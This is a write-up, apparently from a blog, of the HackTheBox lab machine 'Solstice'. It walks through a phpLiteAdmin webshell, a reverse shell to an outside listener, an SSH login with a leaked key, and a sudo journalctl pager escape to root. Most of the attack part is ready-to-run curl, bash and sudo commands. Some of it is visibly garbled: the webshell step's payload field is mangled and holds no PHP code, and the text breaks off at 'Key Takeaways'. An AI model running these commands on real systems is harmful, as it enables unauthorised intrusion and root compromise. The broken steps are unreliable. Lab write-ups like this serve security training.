All posts

HTB: Solstice — phpLiteAdmin Webshell to Sudo Journalctl Escape

Solstice is a medium-rated HackTheBox Linux machine. phpLiteAdmin runs on an internal port with a default password, and its database creation feature allows writing an arbitrary-extension file containing PHP code into a web-accessible directory. A backup SSH key stored with overly permissive file permissions in a shared directory pivots the shell to a local user. That user's sudo policy permits passwordless execution of journalctl — a GTFOBins binary that delegates to the system PAGER, which is trivially escaped to an interactive root shell.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.103 -oN solstice.nmap
# Key open ports:
# 22/tcp   open  ssh      OpenSSH 9.6p1
# 80/tcp   open  http     Apache/2.4.57 (Debian)
# 8080/tcp open  http     phpLiteAdmin v1.9.7.1

Web — Port 80

Port 80 serves a static "Coming Soon" splash page with no input fields or interesting functionality. Directory brute-forcing finds nothing of note.

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u http://10.10.11.103/FUZZ -mc 200,301,302
# (no meaningful results)

phpLiteAdmin — Port 8080

Port 8080 hosts phpLiteAdmin, a web-based SQLite management tool. The login page accepts the default password admin without challenge. Version 1.9.7.1 is displayed in the page footer.

curl -s -c cookies.txt -b cookies.txt \
  -X POST http://10.10.11.103:8080/ \
  --data 'password=admin&action=login' -L | grep -i "logout\|welcome"
# Welcome... (authenticated)

Foothold — phpLiteAdmin PHP Webshell via Database Creation

Understanding the Attack

phpLiteAdmin allows creating new SQLite database files and specifying their file name. If the web root (or a subdirectory of it) is writable by the phpLiteAdmin process, creating a database named shell.php produces a file that Apache will interpret as PHP. Inserting a row into the database with PHP code as a column default value populates the .php file with executable PHP.

The phpLiteAdmin data directory is /var/www/html/db/, which is directly web-accessible at http://10.10.11.103/db/.

Create the Webshell Database

# 1. Create a new database named shell.php
curl -s -c cookies.txt -b cookies.txt \
  -X POST "http://10.10.11.103:8080/?action=database" \
  --data 'db=shell.php&action=create'

# 2. Create a table with a PHP payload as the default value for a TEXT column
curl -s -c cookies.txt -b cookies.txt \
  -X POST "http://10.10.11.103:8080/?action=createtable&db=shell.php" \
  --data 'table=cmd&field[0]=c&type[0]=TEXT&dflt[0]=¬null[0]=1&field[1]=dummy&type[1]=INTEGER&action=create'

# 3. Insert a row to write the PHP payload into the db file
curl -s -c cookies.txt -b cookies.txt \
  -X POST "http://10.10.11.103:8080/?action=insert&db=shell.php&table=cmd" \
  --data 'field[c]=x&field[dummy]=1&action=insert'

Trigger the Webshell

# Confirm RCE
curl -s "http://10.10.11.103/db/shell.php?c=id"
# (sqlite output junk)uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Reverse shell
nc -lvnp 4444 &
curl -s "http://10.10.11.103/db/shell.php" \
  --get --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'

python3 -c 'import pty; pty.spawn("/bin/bash")'
# www-data@solstice:/var/www/html/db$

User — Backup SSH Key

Enumerating Readable Directories

A scan for world-readable files outside standard system paths reveals a backup directory under /opt:

find /opt /srv /home /var/backups -readable -type f 2>/dev/null
# /opt/backups/solstice_id_rsa.bak

ls -la /opt/backups/
# -rw-r--r-- 1 root root 2602 Jun  9 17:04 solstice_id_rsa.bak

The file is a PEM private key for the solstice user, left in a world-readable location during a routine backup job. It has not been rotated since the backup was taken.

cat /opt/backups/solstice_id_rsa.bak
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...

# Copy to attacker machine and use for SSH
chmod 600 solstice_id_rsa.bak
ssh -i solstice_id_rsa.bak [email protected]

# solstice@solstice:~$ cat user.txt
# 3e8f2b...  ← user flag

Privilege Escalation — Sudo Journalctl PAGER Escape

Enumerating Sudo Policy

sudo -l
# Matching Defaults entries for solstice on solstice:
#   env_reset, mail_badpass, secure_path=...
#
# User solstice may run the following commands on solstice:
#   (ALL) NOPASSWD: /usr/bin/journalctl

journalctl pages its output through the system PAGER when output exceeds one screen — typically less. Since it's running as root via sudo, any shell spawned from within the PAGER inherits root privileges. The PAGER escape is a single command.

Spawning a Root Shell

# Run journalctl as root — output will be piped through less
sudo /usr/bin/journalctl

# Inside less (output must exceed terminal height — resize terminal small if needed):
!/bin/bash

# Alternatively, force pager mode with a unit that produces verbose output:
sudo /usr/bin/journalctl -u ssh --since "1 week ago"
# Then inside less:
# !/bin/bash

# root@solstice:/home/solstice# id
# uid=0(root) gid=0(root) groups=0(root)
# root@solstice:/home/solstice# cat /root/root.txt
# 7c14e9...  ← root flag

Non-Interactive Alternative

If less is not invoked (output shorter than terminal height), force pager mode explicitly:

sudo /usr/bin/journalctl -n 9999 | less
# or set PAGER to a command:
sudo PAGER='bash -c "bash -i"' /usr/bin/journalctl 2>/dev/null

Key Takeaways